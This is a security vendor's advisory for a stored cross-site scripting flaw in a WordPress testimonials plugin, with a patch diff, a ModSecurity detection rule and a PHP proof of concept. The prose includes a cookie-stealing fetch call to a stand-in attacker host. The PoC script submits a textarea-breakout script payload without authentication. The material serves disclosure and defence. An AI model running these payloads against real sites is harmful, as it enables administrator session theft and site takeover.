Published : November 29, 2026

CVE-2026-136221: Strong Testimonials <= 3.3.22 Unauthenticated Stored Cross-Site Scripting via Custom Textarea Field Value PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 3.3.22
Patched Version 3.3.23
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-136221: The Strong Testimonials WordPress plugin, up to and including version 3.3.22, contains an unauthenticated stored cross-site scripting vulnerability. The flaw resides in the admin post editor rendering of custom textarea fields. Successful exploitation requires the paid Custom Fields extension (or a plugin hooking wpmtst_default_fields) and an administrator having added a custom textarea field to a public submission form. The CVSS score is 7.2 (High).

The root cause is insufficient output escaping in the file strong-testimonials/admin/class-strong-testimonials-post-editor.php at lines 162-168. The function renders a textarea element using printf. The field value is retrieved from the post object property $post->{$field[‘name’]} and passed through wp_kses_post() before being placed inside the textarea. wp_kses_post() strips dangerous HTML tags but does not prevent the literal closing textarea tag () from breaking out of the element context. An attacker can submit a value containing alert(1) or similar. On the admin post editor screen, this payload escapes the textarea and executes in the administrator’s browser.

Exploitation is unauthenticated. An attacker identifies a public submission form that includes a custom textarea field (for example, wfx_note), then submits a testimonial with the textarea parameter set to a payload such as fetch(‘https://attacker.example/steal?c=’+document.cookie). The testimonial is stored. When an administrator later opens the testimonial in the post editor, the payload executes. No authentication or nonce is required at submission time.

The patch replaces wp_kses_post() with esc_textarea( html_entity_decode( (string) $post->{$field[‘name’]}, ENT_QUOTES | ENT_HTML5, get_bloginfo( ‘charset’ ) ) ). The html_entity_decode() call first reverts stored entities (for example, <textarea>) to literal characters. esc_textarea() then escapes all HTML entities including angle brackets and quotes, so the closing textarea tag becomes harmless text. The before behavior allowed raw HTML syntax to break the textarea context; the after behavior renders the entire value as literal text inside the textarea, preventing script execution.

If exploited, this vulnerability allows an attacker to execute arbitrary JavaScript in the context of an administrator’s session. Impact includes session cookie theft, privilege escalation (creating admin users), and full site compromise. The attack is persistent (stored) and requires only a single public form submission. All versions up to and including 3.3.22 are affected.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/strong-testimonials/admin/class-strong-testimonials-post-editor.php
+++ b/strong-testimonials/admin/class-strong-testimonials-post-editor.php
@@ -162,7 +162,8 @@
 		printf(
 			'<textarea id="%1$s" name="custom[%1$s]" class="custom-input">%2$s</textarea>',
 			esc_attr( $field['name'] ),
-			wp_kses_post( $post->{$field['name']} )
+			// Decode first so stored entities like < still display as they did with wp_kses_post().
+			esc_textarea( html_entity_decode( (string) $post->{$field['name']}, ENT_QUOTES | ENT_HTML5, get_bloginfo( 'charset' ) ) )
 		);
 	}

--- a/strong-testimonials/strong-testimonials.php
+++ b/strong-testimonials/strong-testimonials.php
@@ -5,7 +5,7 @@
  * Description: Collect and display your testimonials or reviews.
  * Author: WPChill
  * Author URI: https://wpchill.com/
- * Version: 3.3.22
+ * Version: 3.3.23
  * Text Domain: strong-testimonials
  * Domain Path: /languages
  * Requires: 4.6 or higher
@@ -44,7 +44,7 @@
 	exit;
 }

-define( 'WPMTST_VERSION', '3.3.22' );
+define( 'WPMTST_VERSION', '3.3.23' );

 define( 'WPMTST_PLUGIN', plugin_basename( __FILE__ ) ); // strong-testimonials/strong-testimonials.php
 define( 'WPMTST', dirname( WPMTST_PLUGIN ) );           // strong-testimonials

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-136221
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026136221,phase:2,deny,status:403,chain,msg:'CVE-2026-136221 Stored XSS via Strong Testimonials custom textarea',severity:'CRITICAL',tag:'CVE-2026-136221'"
  SecRule ARGS_POST:action "@streq wpmtst_submit_testimonial" "chain"
    SecRule ARGS_POST:custom 
      "@rx (?i)(?:</textarea|<script|onerrors*=|onloads*=|javascript:)" 
      "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-136221 - Strong Testimonials <= 3.3.22 - Unauthenticated Stored XSS via Custom Textarea Field Value

// Configure target
$target_url = 'http://vulnerable-wordpress.local';
// The custom textarea field name configured by the admin (example: wfx_note)
$field_name = 'wfx_note';
// Payload breaks out of the textarea and executes when admin views the testimonial
$payload = '</textarea><script>alert(document.cookie)</script>';

// Step 1: Fetch the public submission form to obtain any required form identifiers and nonces
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/testimonial-submission/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$form = curl_exec($ch);
curl_close($ch);

// Extract form nonce if present (adjust regex to the actual form markup)
preg_match('/name="wpmtst_form_nonce" value="([^"]+)"/', $form, $m);
$nonce = $m[1] ?? '';

// Step 2: Submit the testimonial with the malicious textarea value
$post_fields = array(
    'action' => 'wpmtst_submit_testimonial', // adjust to the actual submission action if different
    'wpmtst_form_nonce' => $nonce,
    'testimonial_title' => 'Atomic Edge PoC',
    'testimonial_content' => 'This is a test submission.',
    'custom[' . $field_name . ']' => $payload, // malicious value inserted into custom textarea field
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

echo "Submitted payload. Admin must open the testimonial for execution.n";
echo "Response: " . $response . "n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.